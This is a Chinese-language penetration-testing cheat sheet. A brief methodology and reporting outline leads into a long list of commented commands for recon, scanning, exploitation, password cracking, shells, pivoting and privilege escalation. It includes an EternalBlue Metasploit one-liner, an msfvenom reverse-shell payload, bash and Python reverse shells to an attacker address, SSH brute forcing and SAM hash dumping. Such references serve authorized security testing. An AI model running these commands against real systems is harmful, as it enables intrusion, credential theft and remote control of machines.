渗透测试方法论

1. 自动化扫描 → 发现潜在漏洞
2. 手动验证 → 确认漏洞真实性
3. 漏洞分级 → 评估影响程度
4. 组合利用 → 构建攻击链

1. 选择漏洞 → 匹配目标环境
2. 准备 Exploit → 适配目标版本
3. 执行攻击 → 获取初始访问
4. 验证结果 → 确认权限级别

1. 执行摘要（管理层）
2. 测试范围与方法
3. 发现摘要（风险矩阵）
4. 详细发现
   - 漏洞描述
   - 复现步骤
   - 证据截图
   - 风险评级
   - 修复建议
5. 附录

1. 互联网暴露的严重/高危漏洞 → 立即
2. 内网高危漏洞 → 48 小时内
3. 中危漏洞 → 1 周内
4. 低危漏洞 → 下次迭代

# 查询域名所有 DNS 记录
dig any example.com

# 使用 subfinder 枚举子域名
subfinder -d example.com -o subdomains.txt

# 测试 DNS 区域传送是否允许
dig axfr @ns1.example.com example.com

# 查询域名注册信息
whois example.com

# 使用 Google Hacking 查找敏感信息
site:example.com intitle:"index of" -inurl:(html|php)

# 扫描目标开放端口与服务版本
nmap -sV 192.168.1.10

# 快速扫描常用端口
nmap -T4 -F 192.168.1.10

# 扫描所有 65535 个端口
nmap -p- -T4 192.168.1.10

# 扫描常用 UDP 端口
sudo nmap -sU --top-ports 100 192.168.1.10

# 识别目标操作系统
sudo nmap -O 192.168.1.10

# 使用 nmap 漏洞脚本扫描
nmap --script vuln 192.168.1.10

# 枚举 SMB 共享与用户信息
enum4linux -a 192.168.1.10

# 查看 NFS 导出的目录
showmount -e 192.168.1.10

# 使用 nmap SSH 脚本枚举
nmap --script ssh-* -p 22 192.168.1.10

# 枚举 SNMP 信息
snmpwalk -c public -v1 192.168.1.10

# 枚举 LDAP 目录信息
ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=com"

# 使用 gobuster 爆破 Web 目录
gobuster dir -u https://example.com -w /usr/share/wordlists/dirb/common.txt

# 爆破子域名
gobuster dns -d example.com -w subdomains.txt

# 使用 Nikto 扫描 Web 漏洞
nikto -h https://example.com

# 使用 sqlmap 测试 SQL 注入
sqlmap -u "https://example.com/page?id=1" --dbs

# 使用 dalfox 检测 XSS 漏洞
dalfox url "https://example.com/search?q=test"

# 扫描 WordPress 站点
wpscan --url https://example.com --enumerate u

# 在 exploitdb 中搜索漏洞利用
searchsploit apache 2.4

# 查看漏洞利用代码详情
searchsploit -x 12345

# 复制漏洞利用代码到当前目录
searchsploit -m 12345

# 使用 Metasploit 利用漏洞
msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS 192.168.1.10; run"

# 生成反向连接 Payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe -o payload.exe

# 使用 hashcat 破解 MD5 哈希(类型 0)
hashcat -m 0 hash.txt rockyou.txt

# 使用 John the Ripper 破解密码
john --wordlist=rockyou.txt hashes.txt

# 破解 ZIP 文件密码
zip2john protected.zip > zip.hash
john --wordlist=rockyou.txt zip.hash

# 在线查询哈希明文
curl "https://hashtoolkit.com/reverse-hash?hash=098f6bcd4621d373cade4e832627b4f6"

# 使用 hydra 爆破 SSH
hydra -l root -P passwords.txt ssh://192.168.1.10

# 通过 bash 反弹 shell 到攻击机
bash -i >& /dev/tcp/192.168.1.5/4444 0>&1

# Python 反弹 shell
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("192.168.1.5",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(["/bin/sh"])'

# 升级为交互式 shell
python3 -c 'import pty;pty.spawn("/bin/bash")'

# SSH 本地端口转发
ssh -L 8080:192.168.2.10:80 user@192.168.1.10

# SSH 动态端口转发建立 SOCKS 代理
ssh -D 1080 user@192.168.1.10

# 查找 SUID 权限文件用于提权
find / -perm -4000 -type f 2>/dev/null

# 查看当前用户 sudo 权限
sudo -l

# 运行 LinPEAS 自动枚举提权路径
./linpeas.sh | grep -i "suid\|sudo\|writable"

# 查看内核版本查找内核漏洞
uname -r

# 查看系统计划任务寻找提权点
cat /etc/crontab

# Ping 扫描探测存活主机
nmap -sn 192.168.1.0/24

# 通过 SOCKS 代理执行命令
proxychains nmap -sT -Pn 192.168.2.0/24

# 使用 SSH 建立后台 SOCKS 代理
ssh -D 1080 user@192.168.1.10 -fN

# 通过代理扫描内网常用端口
proxychains nmap -sT -Pn -n --top-ports 100 192.168.2.0/24

# 使用 impacket 导出 SAM 哈希
secretsdump.py -sam SAM -system SYSTEM LOCAL

# 输出 XML 格式扫描报告
nmap -sV 192.168.1.10 -oX scan_report.xml

# 将 nmap XML 报告转为 HTML
xsltproc scan_report.xml -o report.html

# 解析多个工具的扫描结果整合报告
python3 -c "
import xml.etree.ElementTree as ET
tree = ET.parse('scan_report.xml')
for host in tree.findall('host'):
    print(host.find('address').get('addr'))
"

# 使用 pandoc 生成 PDF 报告
pandoc report.md -o pentest_report.pdf --pdf-engine=xelatex

# 提取所有漏洞编号
grep -E "CVE-[0-9]+-[0-9]+|OSVDB" scan_report.txt > vulnerabilities.txt